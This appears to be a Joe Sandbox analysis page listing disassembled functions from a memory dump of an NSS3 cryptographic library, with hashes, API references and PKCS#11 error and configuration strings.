Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 9d4f4f22ab7c6869e5c78ffde2ec36101de8e4754b38b9c0ab9350ac5e91c9f2
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 92918E71E0062A8BCB14CF68C9916AEB7F1FF85324F24462DD962A7BC1D734A905CB61

Function 6C752F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C777929), ref: 6C752FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C777929), ref: 6C752FE0

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 7918d774f7ffb048e1c719eff0086c3fa879eddbebf82c0864ea8d41312550c2
Instruction ID: 69cade10a9bfeaa1887f986175cc9557b42edc487197aadc7e401bc3c7d018d9
Opcode Fuzzy Hash: 7918d774f7ffb048e1c719eff0086c3fa879eddbebf82c0864ea8d41312550c2
Instruction Fuzzy Hash: 52512571A04A158FD7108E55CB84B6A73B2FB40318FA94279D90D9BB22CF35E862CB90

Function 6C69AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6C69AE18
winUnlockReadLock, xrefs: 6C69AE9F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: c5ef37e1a29e3bdb5820834266237ec9e6a973dd7dfe2273bab33ab39531fea2
Instruction ID: fd2a494eda0c87c5e88903445edb87bd2e87ea7d47a3e0ceb37b198bdbe7e72d
Opcode Fuzzy Hash: c5ef37e1a29e3bdb5820834266237ec9e6a973dd7dfe2273bab33ab39531fea2
Instruction Fuzzy Hash: 587191706083019FDB54CF28D894AABBBF5FF89318F14C629F98997242D734A985CBC1

Function 6C75ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C75EE3D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 1717a678c4c46101321808d0a9c9e1a279c1c434ca58c45f6b143910b651e5cc
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 2971F272E117098FE718CF19CA8066AB7F2EB88304F54462DD85697B91DF39E910CB90

Function 6C685F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C686013

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 14b4b875245c0e39bfb9bdcb359ba095062cb82fd2d84282df35b9a915c0ad47
Instruction ID: 38834dc452ce8a1b1b20f1b251770a14d7110c7ef3dc98b347fac2535d338f06
Opcode Fuzzy Hash: 14b4b875245c0e39bfb9bdcb359ba095062cb82fd2d84282df35b9a915c0ad47
Instruction Fuzzy Hash: 99C13A70B161068BEB04CF19C4607EAB7F2AF45318F248168D996DBB42D735E841CBBD

Function 6C694DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C695125

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: ebaa2e94088d78c8c80073dc0fdb097ced412401b0e2d28aaf53b5172db32116
Instruction ID: 826559f2a9d25413419ee12995902eb41e3c7a11193af4ccc0ae7207644daf12
Opcode Fuzzy Hash: ebaa2e94088d78c8c80073dc0fdb097ced412401b0e2d28aaf53b5172db32116
Instruction Fuzzy Hash: 1AE14A70A083418FDB54DF29D88466ABBF0FFCA308F51862DF89997251E7749985CBC2

Function 6C815E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C815B90: PR_Lock.NSS3(00010000,?,00000000,?,6C6FDF9B), ref: 6C815B9E
Part of subcall function 6C815B90: PR_Unlock.NSS3 ref: 6C815BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C815E23,6C6FE154), ref: 6C815EBF

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: ec2a2a53018bbdca82154cbfbece55f3dba7b9826034141d05ba9ed6cc5bf0e6
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: E4519D72E0021A8FCB18CF59C9819AEF3F2FF88314B19456DD815B7745D730A941CBA0

Function 6C7CDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c65b7ca4f8bf9a2a7c430f11555ce316c27f9fa4e20194675d3d72cea7ae65
Instruction ID: 43133cb5014ca07440ca977e0e8e27a4ac72752b04fd630fb5eafcf2f53bb965
Opcode Fuzzy Hash: 83c65b7ca4f8bf9a2a7c430f11555ce316c27f9fa4e20194675d3d72cea7ae65
Instruction Fuzzy Hash: CFF16B71B012068FDB08CF19C994BAA77B2BF89318F294178D8599B741CB35ED42CBD6

Function 6C761DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 53225a7b55ee110dae0b0959cd24f43606579e3e8c6751d98791ff9f608d4b57
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: CBD15832E096568BDB518E19C9883DA7763AB85328F1D8328CC646BFC6C37BD905C7D0

Function 6C6F8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c804beb60f152f28dace6ad1841ca4e00470d3f5c7fbbae6553bd1ced87328c
Instruction ID: 6d01779a70063dd31bdc8cd446351add9e5bd9461fd1d0e177660f244c9b9ba6
Opcode Fuzzy Hash: 1c804beb60f152f28dace6ad1841ca4e00470d3f5c7fbbae6553bd1ced87328c
Instruction Fuzzy Hash: 6411E632A012158FE714CF16D88475AB366BF8735CF0442AAD4254FA61C379D887C7C9

Function 6C7D0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8270500a4d13d0788092da27e000c401982113a0db392efca0c4a3888b01cffb
Instruction ID: 7611a9fb2afe6f60a53a9659bab54f9304f44d0e65880126670835a006925ae8
Opcode Fuzzy Hash: 8270500a4d13d0788092da27e000c401982113a0db392efca0c4a3888b01cffb
Instruction Fuzzy Hash: 4B11CE787043458FCB10DF28D8846AA7BA2FF85368F14807DD8198B701DB71E806CBA4

Function 6C743FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: a9fef800a9de135204074a25d75fa4a888e3830aa2a9259bfc588f5d1d0ce530
Instruction ID: 79c048c17cad82dcc04769b25fd6ea0539a6986167ae0a8b0cacbd89815c27e9
Opcode Fuzzy Hash: a9fef800a9de135204074a25d75fa4a888e3830aa2a9259bfc588f5d1d0ce530
Instruction Fuzzy Hash: 13F0BE70A007598BCB10DF28C9441AAB7F4FF09258F008229EC89AB301EB30AAC4C7C1

Function 6C7D0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 46a34d47090a901f2c604abb865012d1dc264d9dca7e274dea12d43a830c5657
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 16E0923A202054A7DB148E09D555AA97359DF81619FB6907FCC5D9FA01D733F8038781

Function 6C6FCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f9729af56fd808d51013a7c62880715b7cba419c9d2f2411846c1edeea55c7f
Instruction ID: e79cab1be96054b9d411e3fc04eb36d59bc3cd0820cfeda0c6bae4f122609af2
Opcode Fuzzy Hash: 7f9729af56fd808d51013a7c62880715b7cba419c9d2f2411846c1edeea55c7f
Instruction Fuzzy Hash: 5AC04838248608CFC744DE09E4999A83BA8AB8AA10B0400A4EA428B722DA21F800CA81

Function 6C731D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C731D46), ref: 6C732345

Strings

CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C73218D
CKR_MUTEX_NOT_LOCKED, xrefs: 6C732225
CKR_OK, xrefs: 6C731DFC
CKR_FUNCTION_REJECTED, xrefs: 6C732289
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C73226B
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C732327
CKR_STATE_UNSAVEABLE, xrefs: 6C732037
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C732275
CKR_DEVICE_ERROR, xrefs: 6C73229D
CKR_BUFFER_TOO_SMALL, xrefs: 6C732183
CKR_PIN_INVALID, xrefs: 6C732057
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C732015
CKR_PIN_EXPIRED, xrefs: 6C73206B
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C732293, 6C73233F
CKR_NEW_PIN_MODE, xrefs: 6C731E9F
CKR_PIN_LOCKED, xrefs: 6C732075
CKR_SAVED_STATE_INVALID, xrefs: 6C731E56
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C732320
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C732179
CKR_PIN_INCORRECT, xrefs: 6C731D92
CKR_MUTEX_BAD, xrefs: 6C731F49
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C731FD7
CKR_NEXT_OTP, xrefs: 6C73222F
CKR_SIGNATURE_INVALID, xrefs: 6C7320CF
CKR_RANDOM_NO_RNG, xrefs: 6C7322A7
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C731F8B
CKR_DEVICE_MEMORY, xrefs: 6C731FF3
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C73227F
rv = 0x%x, xrefs: 6C732312
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C731F0F
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C732319
CKR_INFORMATION_SENSITIVE, xrefs: 6C7322B1
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C731EE1
CKR_DEVICE_REMOVED, xrefs: 6C732261
CKR_FUNCTION_CANCELED, xrefs: 6C731E73
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C73232E
rv = %s, xrefs: 6C732340
CKR_TOKEN_NOT_PRESENT, xrefs: 6C731F81
CKR_PIN_LEN_RANGE, xrefs: 6C732061
CKR_OPERATION_ACTIVE, xrefs: 6C7322B8
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C7322FF
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C731F77
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C73204D
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C731DE0
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C731F95
CKR_WRAPPED_KEY_INVALID, xrefs: 6C731FB5
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C7320D9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 2c70205694d0fb8287f33a46dda1639a4a00d3983633f6d33a2a73d2ca963089
Instruction ID: d50a36ba4a699c05d4cc1004e740b8d89991a10af9cbf3d31047de330408f04a
Opcode Fuzzy Hash: 2c70205694d0fb8287f33a46dda1639a4a00d3983633f6d33a2a73d2ca963089
Instruction Fuzzy Hash: 0261133068E178C7D63C444C876D36C22249753305FA8F97BE78E8EE93D666CA4946D3

Function 6C765DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C765E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C765E5C
free.MOZGLUE(00000000), ref: 6C765E7E
free.MOZGLUE(00000000), ref: 6C765E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C765EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C765EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C765EF0
free.MOZGLUE(00000000), ref: 6C765F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C765F5B
free.MOZGLUE(00000000), ref: 6C765F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C765FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C765FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C765FC4
free.MOZGLUE(00000000), ref: 6C765FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C765FE9
free.MOZGLUE(00000000), ref: 6C765FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C76600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C766027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C76605A
PR_smprintf.NSS3(6C83AAF9,00000000), ref: 6C76606A
free.MOZGLUE(00000000), ref: 6C76607C
free.MOZGLUE(00000000), ref: 6C76609A
free.MOZGLUE(00000000), ref: 6C7660B2
free.MOZGLUE(?), ref: 6C7660CE

Strings

%s/%s, xrefs: 6C766055
pkcs11.txt, xrefs: 6C765F47, 6C765F7C, 6C76603A, 6C766053
noModDB, xrefs: 6C765EEA
secmod=, xrefs: 6C765FB1
forceSecmodChoice, xrefs: 6C765F55
configDir=, xrefs: 6C765F9D
secmod.db, xrefs: 6C765EA0
flags, xrefs: 6C765E3A, 6C765EC6, 6C765F30
readOnly, xrefs: 6C765E56

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
